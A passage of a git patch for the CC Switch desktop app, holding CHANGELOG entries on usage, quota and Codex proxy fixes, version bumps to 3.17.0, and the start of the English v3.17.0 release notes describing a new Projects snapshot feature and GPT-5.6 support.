code), while auth/4xx/parse errors stay `Ok(success:false)` and surface immediately; the script path maps transient `AppError` keys (`request_failed` / `read_response_failed`) to `Err`, Volcengine gains a `Transient` call variant, HTTP 429 is now classified transient alongside 5xx, and expired-credential retries propagate the transient error instead of rewriting it as "OAuth token has expired". The command layer skips snapshot persistence, the `usage-cache-updated` emit, and tray refresh on `Err` so the cache bridge cannot overwrite retained data. On the frontend, `resolveDisplayUsage` (generalized to subscription quotas via a new options object carrying a `rejected` flag) re-anchors stale success data retained by react-query across rejections to `dataUpdatedAt` so it expires through the same 10-minute keep-last-good window instead of masking a longer outage indefinitely, `useSubscriptionQuota` / `useCodexOauthQuota` gain keep-last-good with per-scope snapshot reset, rejected queries with no displayable value synthesize a failure placeholder carrying the real error message so the footer keeps a retry entry point, and `UsageScriptModal` surfaces string rejections via `extractErrorMessage`. (#3820) +- **Codex Sub-Agent Session Usage Now Counted in Local Statistics**: Token usage from Codex sub-agent (spawned agent) sessions was missing from local usage statistics because the parser keyed each session's synthetic `request_id` on `session_meta.session_id`, but a sub-agent's log carries the parent thread's `session_id` while its own unique identity lives in the `id` / `thread_id` field — so multiple sub-agents under one parent collapsed onto colliding request IDs and were dropped as duplicates. `session_usage_codex.rs` now extracts a unique `thread_id` per file (preferring `id` / `thread_id` over `session_id`) and prefixes request IDs with `codex_session:thread-v1::`, giving each sub-agent distinct rows. Because fork/sub-agent logs first replay the parent thread's history before the takeover event, the parser detects a history-snapshot boundary (via `forked_from_id` / `subagent` source markers plus a `thread_settings_applied` or `inter_agent_communication` event) and uses the replayed `token_count` events only to restore the cumulative baseline instead of double-counting them as new usage. Archived logs under `archived_sessions/` inherit the sync cursor from their original path by filename suffix, so re-parsing an archived copy imports only appended usage rather than re-importing the whole thread; the fix ships with unit tests covering identity extraction, replay-baseline accounting, distinct request IDs, and archived-cursor inheritance. (#5187) +- **Codex Free-Plan 30-Day Quota Window Now Renders in Footer and Tray**: Codex free accounts are metered on a rolling 30-day secondary window (`limit_window_seconds = 2,592,000`) instead of the weekly window paid plans use, and although the backend already mapped this to the tier name `30_day`, neither the frontend `TIER_I18N_KEYS` whitelist nor the tray's `TIER_LABEL_GROUPS` month group recognized it — so `SubscriptionQuotaView` filtered the tier out and, since it is the only surviving tier for a free account, the quota footer rendered nothing while the tray's `format_subscription_summary` returned `None` and showed no quota at all. A single-sourced `TIER_THIRTY_DAY` ("30_day") constant now ties together the backend `window_seconds_to_tier_name` mapping (which maps `2_592_000` explicitly), the tray's month ("m") group, and the frontend whitelist (`30_day → subscription.thirtyDay`), with the `thirtyDay` label added to all four locales (zh/en/ja/zh-TW). Two regression tests lock in the window-seconds-to-tier mappings and assert that a 30-day-only Codex account still renders in the tray, guarding the invariant that any tier visible in the footer must not leave the tray blank. (#3651, #4886) +- **Usage Dashboard Refresh Interval Persists Across Restarts**: The usage dashboard's auto-refresh cadence was component-local state that reset to 30s on every restart, so a user who chose a different interval (off, 5s, 10s, or 60s) had to re-select it each session. The dashboard now reads and writes the choice through a new `usageDashboardRefreshIntervalMs` app setting: `UsageDashboard` takes `refreshIntervalMs` / `onRefreshIntervalChange` props wired from `SettingsPage` to the persisted settings, initializes from the saved value (normalized to a known option, falling back to the 30s default for unrecognized values), and applies changes optimistically — invalidating the usage queries immediately — while rolling back the selection if the save fails. The field is added to the Rust `AppSettings` struct, the TypeScript `Settings` type, and the zod settings schema, and three component tests cover mount-from-saved, persist-on-change, and rollback-on-failure. (#5057) +- **Exclude Fable Tier Model Env Keys From the Shared Claude Common Config**: Fable is Claude's fourth model-mapping tier (added in v3.16.3), but its `ANTHROPIC_DEFAULT_FABLE_MODEL` / `ANTHROPIC_DEFAULT_FABLE_MODEL_NAME` env keys were missing from the provider-specific exclusion list, so a provider's Fable model pin could leak into the shared common-config snippet and then be injected into other providers on the next switch. Both keys are now stripped in `extract_claude_common_config` alongside the haiku/sonnet/opus pins, guarded by a regression test. The same commit also completes Fable's proxy-takeover support: the two keys are added to `CLAUDE_MODEL_OVERRIDE_ENV_KEYS` (now 12 entries) and the takeover writes a stable `claude-fable-5` role alias (`CLAUDE_TAKEOVER_FABLE_MODEL`), reapplying it when the provider configures Fable and clearing stale values otherwise, mirroring the other three tiers; when Fable is unconfigured no alias is written and the mapper falls back fable→opus. (#5206, fixes #4272) +- **Default Missing Tool Schema Types and Restore the API Key Field for Uncategorized Providers**: Two provider-facing fixes. First, when a client sends a tool whose Anthropic `input_schema` omits the top-level `type` or is an empty `{}`, the proxy passed the schema through the shared `clean_schema` helper without filling in the missing type, producing an OpenAI `parameters` object that strict gateways reject. `clean_schema` (defined once in `transform.rs` and reused by the Responses converter via `super::transform::clean_schema`, so both the Anthropic→OpenAI Chat and Responses paths pick up the change) now defaults a missing root `type` to `"object"` — adding an empty `properties: {}` only when properties is also absent — and applies the defaulting only to the root schema via a new `is_root` flag threaded through a `clean_schema_inner` helper, so nested sub-schemas (an `anyOf` string/null union, an `items`-only array) are preserved unchanged rather than having a spurious `type: "object"` forced onto them. Second, editing a provider with no category (a historically imported or hand-built custom provider) hid the Claude API key input, because `useApiKeyState` only showed and auto-created the field in add mode with a defined non-official category; the gate now keys off category alone, showing and populating the field for any provider that isn't `official` or `cloud_provider` — including the undefined-category edit case — while `official` (OAuth-only, input disabled) and `cloud_provider` (which use dedicated auth fields rather than an Anthropic key) stay conservative. New unit and hook tests cover both converters and the uncategorized/official/cloud-provider key paths. (#5069) +- **Media Fallback for Volcano GLM 5.2 Text-Only Image 400s**: When the local proxy takes over a Volcano Coding Plan provider running GLM 5.2, image blocks in a request no longer produce a dead 400 — the rectifier's media fallback in `src-tauri/src/proxy/media_sanitizer.rs` now covers GLM 5.2 on both its preventive and reactive paths. Preventively, the text-only model registry gains `glm-5.2` as an exact tail match (deliberately not a prefix, so a future multimodal `glm-5.2v` variant following Zhipu's 4v/5v naming keeps its images), stripping image blocks before they reach the text-only endpoint. Reactively, because the gateway's error `Model only support text input` never mentions image/vision/media and drops the third-person `s`, a new self-evident phrase list (`only support text` / `only supports text`) now asserts a modality rejection on its own and bypasses the `mentions_image` gate that previously discarded the error before the fallback hints could run; the old `only supports text` hint is folded into that list. Regression tests exercise the verbatim #5025 error body, the `glm-5.2[1M]` mapped-model form, and a `glm-5.2v` negative assertion. (#5025) +- **Display Renamed Codex Session Titles**: Sessions renamed inside Codex now show their renamed titles in the session manager instead of silently falling back to the original first-message text. The scanner (`src-tauri/src/session_manager/providers/codex.rs`) loads thread titles from Codex's `session_index.jsonl` and `state_5.sqlite` — resolving the DB path from `sqlite_home` / `CODEX_SQLITE_HOME` through a new shared `codex_state_db` module that deduplicates path resolution previously copy-pasted with the history-migration code — and prefers a stored thread title over the first user message when building each session's display title. The read-only title query adds a `busy_timeout` so a lookup during a concurrent Codex write no longer fails immediately with `SQLITE_BUSY` and drops back to the first message, and the `title == first_user_message` check is pushed into a NULL-safe SQL `WHERE` clause (matching Codex's `distinct_thread_metadata_title` semantics) so the potentially large `first_user_message` column no longer crosses into Rust. (#4927) +- **Live Config Edits for OpenCode, OpenClaw, and Hermes Now Sync Into the Database on Startup**: The startup auto-import for the live-config-managed apps previously skipped any provider whose id already existed in the database, so edits made directly to the OpenCode, OpenClaw, or Hermes (`~/.hermes/config.yaml`) live files — a changed base URL, an added or renamed model — were never picked up after the first import and silently diverged from the app's stored copy. The `import_{opencode,openclaw,hermes}_providers_from_live` functions in `services/provider/live.rs` now look up each existing provider and, when its live `settings_config` differs, rewrite the stored provider from the live file (OpenCode additionally refreshes the display name from the live `name`, falling back to the existing name rather than the id); the returned count now covers both new imports and updates, and the startup log line changed from "Imported N" to "Synced N". The sync runs on every launch from `lib.rs::run()`, is a no-op when nothing changed, and is fully non-fatal — a provider that vanishes mid-import or a DB lookup error is warned and skipped, and users with no live file still take the quiet `Ok(0)` path. (#4712, #5098) +- **OpenCode Session Resume Command Updated to Current CLI Syntax**: The Session Manager displayed and copied `opencode session resume ` as the resume command for OpenCode sessions, which is not the OpenCode CLI's current resume syntax, so pasting the copied command would not resume the session. Both the SQLite-scanned (`scan_sessions_sqlite`) and JSON-parsed (`parse_session`) session paths in `session_manager/providers/opencode.rs` now emit `opencode -s ` to match the CLI's actual resume flag. (#2359) + +### Docs + +- **Codex + Kimi Local Routing Guides**: New step-by-step guides explain how to run Kimi inside the Codex CLI through CC Switch's local routing, motivated by a protocol mismatch: the newer Codex CLI targets the OpenAI Responses API while both Kimi Open Platform and Kimi For Coding expose the OpenAI Chat Completions shape (`/chat/completions`), so pointing a Kimi endpoint straight at Codex typically 404s on `/responses` or yields streams Codex cannot parse. The guides walk through adding a Codex provider from the built-in `Kimi` (Open Platform, pay-as-you-go, `kimi-k2.7-code`) or `Kimi For Coding` (membership, `kimi-for-coding`) preset, and lay out the four-step conversion chain: Codex is written to talk to `http://127.0.0.1:15721/v1` with `wire_api = "responses"` kept in place, the provider's `meta.apiFormat = "openai_chat"` flags the real upstream as Chat, the route rewrites `/responses` to `/chat/completions` and converts the body, then converts the upstream Chat JSON/SSE back into the Responses shape Codex expects. Added under `docs/guides/` in English, Japanese, and Chinese with accompanying UI screenshots. +- **new-api Sponsor Row in READMEs**: The open-source AI infrastructure project `new-api` is appended as the newest entry in the sponsor table across all four localized READMEs (`README.md`, `README_ZH.md`, `README_JA.md`, `README_DE.md`), along with its banner asset. + +### Internal + +- **Harden Release Supply Chain**: Added a `.github/CODEOWNERS` that, together with branch protection's Code Owners rule, requires owner review before any PR merges to `main` (with `/.github/` and `/src-tauri/` pinned explicitly alongside the global `*` fallback, all to `@farion1231`), gated the release job behind a `release` environment in `release.yml` so signing secrets unlock only after manual approval, and removed `.github` from `.gitignore` so the previously untracked `labeler.yml` and `workflows/labeler.yml` are now versioned. +- **Settle pnpm Build-Script Approvals**: Approved `esbuild` (via `onlyBuiltDependencies`) and ignored `msw` (via `ignoredBuiltDependencies`) in `pnpm-workspace.yaml` so pnpm 10.13+ stops appending `allowBuilds` placeholders to the file on every install. +- **Platform-Gate the Desktop-Scope Assertion in the Profile Roundtrip Test**: The `profile_roundtrip` integration test's Claude Desktop assertion is now `cfg`-gated to macOS/Windows to match the already cfg-gated desktop switch, so on Linux CI (where desktop live writes error) it expects the seeded `d1` instead of `d2` and no longer panics, poisons the shared test mutex, and cascades into two more failures. ## [3.16.5] - 2026-07-01 @@ -30,8 +95,6 @@ Development since v3.16.4 reworks the Codex native-Responses path — restoring ### Changed -- **Codex Chat Prompt-Cache Routing**: Added provider-aware `prompt_cache_key` injection on the Codex Responses→Chat Completions bridge. Kimi Coding and OpenAI official endpoints are enabled automatically, Kimi's preset opts in explicitly, and unknown OpenAI-compatible gateways remain off to avoid strict-schema 400s. The key is taken from an explicit client value or a real client-provided session ID—never a generated per-request UUID—with an advanced Auto/Enabled/Disabled override in all four UI locales. -- **Provider Connectivity Configuration Simplified**: Removed the obsolete per-provider `testConfig` override (timeout, retry count, and degraded-latency threshold) from provider forms, frontend/backend provider metadata, and reachability-check merging. The lightweight `base_url` probe now always uses the single global connectivity-check configuration, while automatic failover remains driven exclusively by its separate proxy timeout and circuit-breaker settings. Also renamed the remaining settings UI and API modules from model-test terminology to connectivity-check terminology, removed the retired first-use confirmation flag, and deleted stale model/prompt/error copy across all four locales. - **Decoupled Codex Model Mapping From the Local-Routing Toggle**: Aligns the Codex provider form with Claude Code — the model-mapping catalog is now independent of route takeover, since native Responses providers (MiMo, Doubao, MiniMax) need it for proxy-less direct connect while Chat providers use the proxy regardless of any per-provider flag. The "Needs Local Routing" toggle is removed: it had no backend field and only gated catalog/reasoning persistence, which is equivalent to whether the mapping is filled. Model mapping is now always shown for non-official providers and persisted whenever the list is non-empty (the backend already keys off `modelCatalog.models`), while reasoning visibility/persistence is gated on the Chat format instead of the toggle. The Chat upstream-format option is marked "routing required" with a refreshed advanced-section hint across all four locales (zh/en/ja/zh-TW), dead `localRouting*` keys are dropped, and the model-mapping block moves above the custom User-Agent block. Also fixes `useCodexConfigState` dropping `supportsParallelToolCalls`/`inputModalities`/`baseInstructions` when loading a saved provider — which silently lost parallel tools, image input, and the official base instructions on edit — by preserving them on load (camelCase and snake_case) and comparing them in the row sync. - **Auto-Sync Claude Common Config From Live settings.json on Switch**: When switching away from a Claude provider that has `common_config_enabled`, the service now re-extracts the shareable portion of its live `settings.json` and replaces the stored common-config snippet, instead of only writing the snippet one way. This captures config the user added directly in the running app (`enabledPlugins`, `hooks`, `env`, `theme`, shared prefs) so it isn't silently lost on the next switch, and it propagates deletions so a removed key isn't re-injected later. The sync in `services/provider/mod.rs` is scoped strictly to Claude providers with `common_config_enabled`, is skipped when the snippet was explicitly cleared, and all failures are non-fatal (warn-only) and never block the switch. Four integration tests cover capture / delete-sync / opt-out / cleared. - **Default Sonnet Tier Now Pins to Claude Sonnet 5**: Bumped every default Sonnet pin from `claude-sonnet-4-6`/`claude-sonnet-4.6` to `claude-sonnet-5` across all provider presets (`claudeProviderPresets`, `claudeDesktopProviderPresets`, `hermesProviderPresets`, `openclawProviderPresets`, `opencodeProviderPresets`, and universal `NEWAPI_DEFAULT_MODELS`), covering the `ANTHROPIC_MODEL` / `ANTHROPIC_DEFAULT_SONNET_MODEL` / `ANTHROPIC_DEFAULT_OPUS_MODEL` env keys and prefixed variants like `anthropic/claude-sonnet-5` and `global.anthropic.claude-sonnet-5`. The Claude Desktop `DEFAULT_PROXY_ROUTES` sonnet `route_id` in `claude_desktop_config.rs` also moves to `claude-sonnet-5` (`supports_1m` preserved), and the route-derivation test expectations were updated to match. Non-Anthropic pins (gpt/gemini/glm/sonnet-4-5) were left untouched. diff --git a/package.json b/package.json index 9c07d1650..31d6964a2 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "cc-switch", - "version": "3.16.5", + "version": "3.17.0", "description": "All-in-One Assistant for Claude Code, Codex & Gemini CLI", "type": "module", "scripts": { diff --git a/src-tauri/Cargo.lock b/src-tauri/Cargo.lock index a1e858710..eb60f4441 100644 --- a/src-tauri/Cargo.lock +++ b/src-tauri/Cargo.lock @@ -758,7 +758,7 @@ dependencies = [ [[package]] name = "cc-switch" -version = "3.16.5" +version = "3.17.0" dependencies = [ "anyhow", "arboard", diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml index e0a13d056..93934cf8c 100644 --- a/src-tauri/Cargo.toml +++ b/src-tauri/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "cc-switch" -version = "3.16.5" +version = "3.17.0" description = "All-in-One Assistant for Claude Code, Codex & Gemini CLI" authors = ["Jason Young"] license = "MIT" diff --git a/src-tauri/tauri.conf.json b/src-tauri/tauri.conf.json index 313d0c9c9..5f7a87a0d 100644 --- a/src-tauri/tauri.conf.json +++ b/src-tauri/tauri.conf.json @@ -1,7 +1,7 @@ { "$schema": "https://schema.tauri.app/config/2", "productName": "CC Switch", - "version": "3.16.5", + "version": "3.17.0", "identifier": "com.ccswitch.desktop", "build": { "frontendDist": "../dist", From 3d176b98cc0bfd151a42882e88ab59b62083b92f Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 23:41:54 +0800 Subject: [PATCH 71/73] docs(release): add v3.17.0 release notes --- docs/release-notes/v3.17.0-en.md | 364 +++++++++++++++++++++++++++++++ docs/release-notes/v3.17.0-ja.md | 362 ++++++++++++++++++++++++++++++ docs/release-notes/v3.17.0-zh.md | 362 ++++++++++++++++++++++++++++++ 3 files changed, 1088 insertions(+) create mode 100644 docs/release-notes/v3.17.0-en.md create mode 100644 docs/release-notes/v3.17.0-ja.md create mode 100644 docs/release-notes/v3.17.0-zh.md diff --git a/docs/release-notes/v3.17.0-en.md b/docs/release-notes/v3.17.0-en.md new file mode 100644 index 000000000..7cfecb39a --- /dev/null +++ b/docs/release-notes/v3.17.0-en.md @@ -0,0 +1,364 @@ +# CC Switch v3.17.0 + +> This release brings a long-awaited capability: **one-click "Projects" switching** — save your current provider, MCP, Skills, and memory files as a single named snapshot, swap the whole set for another one from the title bar or tray with a single click, and have the state of the project you're leaving automatically saved back on the way out. The Codex side gets plenty too: **your official ChatGPT subscription account can now route through the local proxy as well**, getting the same routing and usage statistics as third-party providers; the GPT-5.6 family's context window and Sol / Terra / Luna three-tier pricing land in one step; and a native Anthropic Messages upstream format is added — is Claude Code banned at your company but the Claude API isn't? You can now **use Claude-family models directly inside Codex**. On top of that comes a big wave of correctness fixes: upstream failures no longer turn into "empty replies", cache-write tokens are no longer double-billed, deleted MCP servers no longer come back from the dead, and Kimi For Coding's 256K window finally takes effect for real. + +**[中文版 →](v3.17.0-zh.md) | [日本語版 →](v3.17.0-ja.md)** + +--- + +## Usage Guides + +The new capabilities in this release land mainly in the project switcher at the top of the home page, the Codex provider form, and the usage dashboard. The following docs are worth reading alongside it: + +- **[Using Kimi inside Codex (local routing guide)](../guides/codex-kimi-routing-guide-en.md)**: a new step-by-step guide added in this release. Newer Codex CLI speaks the OpenAI Responses protocol, while the Kimi Open Platform and Kimi For Coding expose Chat Completions endpoints, so a direct connection usually 404s; the guide walks through using the built-in `Kimi` / `Kimi For Coding` presets together with local routing to handle the protocol conversion. +- **[Codex Official Login Preservation](../guides/codex-official-auth-preservation-guide-en.md)**: understand how CC Switch preserves your official ChatGPT login when you switch to a third-party provider. This release goes a step further — the official account itself can now route through the proxy too (see "Added" below). +- **[Usage Statistics](../user-manual/en/4-proxy/4.4-usage.md)**: understand the Usage Dashboard's data sources and how the statistics are counted. This release fixes cache-write billing, fills in Codex subagent session accounting, and adds GPT-5.6 and Hunyuan Hy3 pricing. + +--- + +> [!WARNING] +> +> ## Only Official Channels (Please Read) +> +> CC Switch is a **fully free and open-source** desktop app, and we **do not charge users any fees**. Please only obtain the software through the official channels listed below: +> +> | Channel | Only Official | +> | ------------------ | ------------------------------------------------------------------------------ | +> | Website | **[ccswitch.io](https://ccswitch.io)** | +> | Source | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** | +> | Downloads | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** | +> | Author | **[@farion1231](https://github.com/farion1231)** | +> | Report an Imposter | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** | +> +> **Any "CC Switch" website or client that asks you for payment, top-ups, or login credentials is fake.** If you have been tricked into paying, stop the transaction immediately and file a report through GitHub Issues. + +--- + +## Overview + +CC Switch v3.17.0 is a major feature release following v3.16.5, centered on **Projects**: you can save the current provider, MCP, Skills, and memory-file state of Claude Code / Claude Desktop / Codex as a named snapshot — say a "Development" set for a coding directory and a "Drawing" set for a writing-and-drawing directory — and swap the whole set with one click from the switcher at the top of the home page or the "Projects" tray submenu. Before you switch, the state of the project you're about to leave is automatically saved back, so a project always holds exactly what you last left it as. The second main thread is Codex: **your official ChatGPT subscription account can now be taken over by the local proxy route** (no API key needed — Codex's own login credentials are passed through verbatim and your official login is never overwritten); paired with a corrected client identity, the latest subscription models like `gpt-5.6-luna` no longer falsely 404; GPT-5.6's 372K context-window injection, Sol / Terra / Luna three-tier pricing (including the 1.25× cache-write rate), and preset default models all land together; and the Codex upstream format gains a native Anthropic Messages protocol — which targets a very real scenario: plenty of companies ban the Claude Code client but do **not** ban the Claude API, and those users can now point Codex directly at the Claude API (or any gateway that only offers `/v1/messages`) and keep using Claude-family models inside Codex. + +For everyday-use correctness, this release makes three concentrated waves of fixes. **Proxy bridge**: semantic failures returned inside a 2xx are no longer turned into an empty reply but trigger failover instead; reasoning content, tool results, and the system role round-trip losslessly across the Responses↔Anthropic bridge; prompt-cache breakpoint injection is more thorough, so long conversations no longer resend everything at full price each turn. **Usage billing**: cache-write tokens were previously billed twice — once at the input rate and once at the cache-creation rate — and are now corrected (the database is upgraded to schema v13 so historical data stays consistent); usage and quota queries automatically retry on transient network failures and no longer cache a failure body as real data. **Codex `config.toml`**: MCP servers you deleted in the app no longer come back on provider switch; when parsing a live file fails, sync errors out rather than blanking the whole file; and the "Apply Common Config" merge is moved to the backend so comments and key order are no longer scrambled. Also included: Kimi For Coding's 256K window finally taking effect, Codex subagent and free-tier quota accounting filled in, Zhipu team-plan quota queries, OpenCode form enhancements, and a batch of preset updates. + +**Release date**: 2026-07-13 + +**Stats**: 69 commits | 172 files changed | +21,067 / -2,464 lines + +--- + +## Highlights + +- **One-click "Projects" switching**: save your provider, MCP, Skills, and memory files as a single named snapshot (say one set for coding, another for writing and drawing) and swap the whole thing with one click from the top of the home page or the tray; the state of the project you leave is saved back automatically on switch. Covers three scopes — Claude Code, Claude Desktop, and Codex — that don't interfere with one another. +- **Official Codex account can route through the proxy too**: a Codex session logged in with a ChatGPT subscription can now route through the local proxy, getting routing and usage statistics identical to third-party providers; the official login credentials are never overwritten or stored. +- **GPT-5.6 fully in place**: a 372K context window is auto-injected when Claude Code routes through Codex takeover; Sol / Terra / Luna three-tier pricing is seeded (cache writes billed at 1.25× the input rate); the relevant presets' default models are bumped to the gpt-5.6 family; and, with the client identity corrected, `gpt-5.6-luna` no longer falsely 404s. +- **Use Claude-family models inside Codex (native Anthropic Messages upstream)**: plenty of companies ban the Claude Code client but not the Claude API — now, by setting a Codex provider's upstream format to `anthropic`, you can connect directly to the Claude API or any gateway that only offers `/v1/messages`, with the local proxy handling the two-way Responses↔Anthropic conversion and standard 5-minute prompt-cache injection built in. +- **Proxy bridge correctness fixes**: upstream failures fail closed and trigger failover instead of an empty reply; reasoning / tool results / the system role survive the bridge losslessly; cache writes are no longer double-billed; breakpoint injection is more thorough. +- **Codex config.toml hardening**: deleted MCP servers no longer come back; MCP sync errors out rather than blanking the file on a parse failure; common-config merges preserve comments and key order. +- **Kimi For Coding 256K finally works**: the previous 262144 compaction window never actually took effect (clamped back to Claude Code's 200K default); this release fills in the model-alias routing and window injection; existing providers need to re-apply the preset (see "Upgrade Notes"). + +--- + +## Added + +### Projects: Named Snapshots of a Whole Configuration, Switched in One Click + +This is the headline feature of the release. You can save your current provider, MCP, Skills, and memory-file state as a named "project", then swap the whole set with one click from the project switcher at the top of the home page or the "Projects" tray submenu, instead of toggling each piece by hand. + +Here's a typical scenario: you have one directory for coding and another for writing or drawing. Coding wants one provider, plus MCP like filesystem / GitHub, code-review Skills, and a memory file spelling out your engineering conventions; writing or drawing often wants a different provider, a different set of MCP, and completely different prompts. Bouncing between the two used to mean switching providers, toggling MCP and Skills one by one, and then editing the memory file; now you save the two states as two projects — "Development" and "Drawing" — and when you switch directories to work, one click in CC Switch puts the whole configuration in place. + +Projects span three scopes — Claude Code, Claude Desktop, and Codex (the only dimension CC Switch manages for Claude Desktop is the provider, so its snapshots contain only the provider and applying one touches no other dimension). + +A few design points worth knowing: + +- **Projects are global entities, switched per scope**: the same project records its own current project and snapshot slot separately on the Claude Code / Claude Desktop / Codex sides, so switching projects on the Codex tab never touches Claude's configuration. +- **Switching auto-saves**: before you switch projects, the state of the project you're about to leave in the current scope is first saved back automatically — so a project always holds exactly what you last left it as, with no (and no need for a) manual "update snapshot" button. +- **Applying is best-effort**: applying a snapshot reuses the existing switch primitives (switch the provider first, then do the minimal MCP / Skills diff toggles, then enable memory files); if something a snapshot references has been deleted, it's only warned and skipped, never rolled back wholesale. +- **Auto-disables proxy takeover**: before applying a project, proxy takeover for each app in that scope is disabled first, to avoid the snapshot state fighting with the routing state. + +If you don't use Projects, you can turn off "Show project switcher" under Settings → Home Display, which only hides the home-page entry — the tray submenu and project data are unaffected. It's backed by a new `profiles` table (the database migrates automatically, no manual steps), with UI copy in sync across all four locales. + +### Proxy Route Takeover for the Official Codex ChatGPT Account + +A Codex session using a ChatGPT subscription (OAuth or API-key login) can now route through CC Switch's local proxy too — official-account traffic gets routing, format conversion, and usage statistics identical to third-party providers. Just pick the built-in "OpenAI Official" entry in the provider panel or tray to take it over (if you deleted it before, it's restored automatically when you add a provider); the card badge shows "Official account routing" while routing. + +The implementation deliberately achieves **zero credential storage**: instead of writing any placeholder key to `auth.json`, it projects a dedicated `model_provider` pointing at the local proxy into `config.toml`, and Codex sends its own ChatGPT authorization header to the proxy, which passes it through verbatim to the official endpoint — the credentials on the `codex-official` line are always empty. The official login itself is never overwritten: on takeover, OAuth / API-key material is preserved into the backup, and a 401 / 403 from the official side is treated as a non-retryable error, so failover never quietly moves your conversation to another account. Accordingly, the copy for the "Preserve Codex official login on switch" setting has been updated — under route takeover the official login is always preserved, so that toggle now only governs third-party direct switches that don't route through the proxy. + +### GPT-5.6: Context Window, Preset Defaults, and Three-Tier Pricing + +Three things were done around the GPT-5.6 family: + +- **372K context-window injection**: when Claude Code routes to the ChatGPT Codex (Codex OAuth) backend through proxy takeover, `CLAUDE_CODE_MAX_CONTEXT_TOKENS` and `CLAUDE_CODE_AUTO_COMPACT_WINDOW` (both 372000) are auto-injected into the live `settings.json`, so Claude Code no longer auto-compacts prematurely at its default 200K window nor overflows the upstream. The injection is strictly gated: it only injects when every configured model key points at the gpt-5.6 family (gpt-5.5's catalog window swings between 272K and 372K, so it's deliberately not inherited); your manually set values always win; and it's stripped on switch-away under mirrored conditions, so a program default is never baked into your provider config. +- **Preset default-model bump**: the Codex OAuth presets for Claude Code and Claude Desktop bump their default routes to the gpt-5.6 family (haiku → `gpt-5.6-luna`, main model / sonnet / opus → `gpt-5.6`), and the custom Codex `config.toml` template's default model follows suit. +- **Sol / Terra / Luna three-tier pricing**: the usage dashboard seeds all three tiers at official rates — Sol 5 / 30 / 0.50, Terra 2.50 / 15 / 0.25, Luna 1 / 6 / 0.10 (USD per million tokens, input / output / cache read). Unlike 5.5 and earlier, the 5.6 family bills **prompt-cache writes at 1.25× the input rate** (Sol 6.25 / Terra 3.125 / Luna 1.25), seeded accordingly, with existing rows previously billed at 0 auto-repaired; bare `gpt-5.6` and its per-effort suffix variants align to the Sol rate. + +### Use Claude-Family Models inside Codex: Native Anthropic Messages Upstream + +This feature comes from a very real need: **plenty of companies ban the Claude Code client for compliance reasons, but do not ban the Claude API.** For those users the model itself is available; what's missing is a permitted client — and Codex can now fill that slot. Pick the new `anthropic` option in a Codex provider's upstream-format selector, and you can connect directly to the Claude API or any gateway offering the native Anthropic Messages protocol (`/v1/messages`); the local proxy handles the two-way conversion of requests, responses, and streaming between Responses and Anthropic, and you chat and use tools inside Codex as usual while Claude-family models run behind the scenes. The form provides the supporting pieces: an auth-field selector (`ANTHROPIC_AUTH_TOKEN` sends `Authorization: Bearer`, the default; or `ANTHROPIC_API_KEY` sends `x-api-key`), an optional Claude Code client-impersonation toggle (off by default), and a per-provider max-output-token override (Codex doesn't send `model_max_output_tokens`, and when unset it falls back to a conservative 8192, which may truncate long or heavy-reasoning replies). The conversion bridge auto-injects standard 5-minute prompt-cache markers (system prompt, tools, and history go through the cache instead of being resent at full price each turn), supports the `[1m]` long-context marker with the corresponding beta header, and reports a truncated stream faithfully as incomplete rather than disguising it as success. ([#5071](https://github.com/farion1231/cc-switch/pull/5071)) + +### "Default Model" Field Added to the Codex Provider Form + +The top-level `model` key in `config.toml` is now an editable field in the form: when a new model (e.g. `gpt-5.6`) ships, you can point an existing provider at it directly without waiting for a preset update (presets only affect newly added providers). The field is two-way synced with the TOML editor, its candidate list is the union of the model-mapping catalog and the provider's `/models` endpoint, and when a value isn't in the catalog it offers a one-click "Add to mapping". An explicitly entered value always wins over the implicit backfill from the mapping's first row; model names and `base_url` are TOML-escaped on write, eliminating any chance that remote data from `/models` injects a forged config line. + +### Common-Config Switch Auto-Sync Extended to Codex + +The "on switch-away, write shared preferences from the live config back to the common config" behavior v3.16.5 added for Claude now covers Codex: when you switch away from a Codex provider that has the common config enabled, the shareable portion is first re-extracted from its live `config.toml` to update the common config and then carried to the next provider — the preferences you edited directly in the running Codex config are no longer lost on switch, and deleted keys aren't quietly re-injected. The extractor strictly strips provider-specific and injected content (`model` / `model_provider` / `base_url` / `wire_api`, the entire `[model_providers]` table, the MCP projection, the API-key fallback field, the model-catalog pointer, and the injected `web_search` sentinel), so secrets never enter the shared snippet. All failures only warn and never block the switch. + +### Claude Subagent Model Configuration + +The Claude provider form gains a "subagent" model row that writes `CLAUDE_CODE_SUBAGENT_MODEL`, letting subagents spawned by Claude Code run on a model you specify (usually a cheaper or faster one). It supports the `[1M]` marker; since the subagent model never appears in the `/model` menu, the row shows a "not shown in /model" placeholder with no display-name field. The proxy takeover path and the model mapper support it too: when the request model matches the configured subagent model it's passed through as-is instead of being folded to the default model; the key is also excluded from the shared common config so it doesn't leak across providers. ([#4830](https://github.com/farion1231/cc-switch/pull/4830)) + +### 1M Context Checkbox for the Fallback Model Field + +The Claude form's fallback model field (`ANTHROPIC_MODEL`) now carries the same 1M checkbox that the Sonnet / Opus / Fable tiers have long had: when the fallback model is backed by a 1M window you can declare it faithfully, instead of it being silently treated as 200K. Checking it appends the `[1M]` marker to the model id, unchecking strips it. ([#5124](https://github.com/farion1231/cc-switch/pull/5124), fixes #3679) + +### Zhipu Team-Plan Quota Query + +Zhipu's team plan (team-edition Coding Plan) uses the same quota endpoint but requires `?type=2` and two extra request headers (`bigmodel-organization` / `bigmodel-project`), which the personal-edition query can't reach. The usage-script dialog gains a "Zhipu GLM Team" template; fill in the API key + organization ID + project ID to query team quota, and if any of the three is missing you get a clear prompt to complete it. Copy is in sync across all four locales. ([#5128](https://github.com/farion1231/cc-switch/pull/5128)) + +### OpenCode Form: Headers and Per-Model Token-Limit Editors + +The OpenCode provider form fills in two pieces of config that previously required hand-editing JSON: a **Headers editor** (provider-level `options.headers`, such as the `HTTP-Referer` / `X-Title` that OpenRouter's leaderboard wants, with add/remove rows and case-insensitive deduplication) and **per-model token limits** (`model.limit.context` / `model.limit.output` numeric inputs, cleared to remove). The "extra options" block becomes a collapsible section that auto-expands when it has content; along the way, a fix stops the old placeholder filter from wrongly deleting genuine option keys that start with `option-`. 